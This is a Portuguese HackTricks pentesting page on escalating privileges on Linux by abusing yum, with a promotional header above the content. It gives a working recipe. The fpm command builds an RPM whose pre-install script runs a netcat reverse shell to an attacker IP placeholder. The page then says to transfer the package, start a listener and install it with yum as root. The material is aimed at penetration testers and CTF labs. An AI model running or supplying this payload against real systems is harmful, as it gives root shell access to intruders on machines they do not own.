hacktricks/linux-unix/privilege-escalation/exploiting-yum.md
2023-06-06 18:56:34 +00:00

42 lines
3.2 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Mais exemplos sobre yum também podem ser encontrados em [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executando comandos arbitrários via Pacotes RPM
## Verificando o Ambiente
Para aproveitar esse vetor, o usuário deve ser capaz de executar comandos yum como um usuário com privilégios mais elevados, ou seja, root.
### Um exemplo de trabalho desse vetor
Um exemplo de trabalho desse exploit pode ser encontrado na sala [daily bugle](https://tryhackme.com/room/dailybugle) em [tryhackme](https://tryhackme.com).
## Empacotando um RPM
Na seção a seguir, abordarei o empacotamento de um shell reverso em um RPM usando [fpm](https://github.com/jordansissel/fpm).
O exemplo abaixo cria um pacote que inclui um gatilho antes da instalação com um script arbitrário que pode ser definido pelo atacante. Quando instalado, este pacote executará o comando arbitrário. Eu usei um exemplo simples de shell reverso do netcat para demonstração, mas isso pode ser alterado conforme necessário.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# Capturando um shell
Usando o exemplo acima e assumindo que `yum` pode ser executado como um usuário com privilégios mais altos.
1. **Transferir** o rpm para o host
2. **Iniciar** um listener em seu host local, como o [exemplo de listener netcat](/shells/shells/linux#netcat)
3. **Instalar** o pacote vulnerável `yum localinstall -y exploited-1.0-1.noarch.rpm`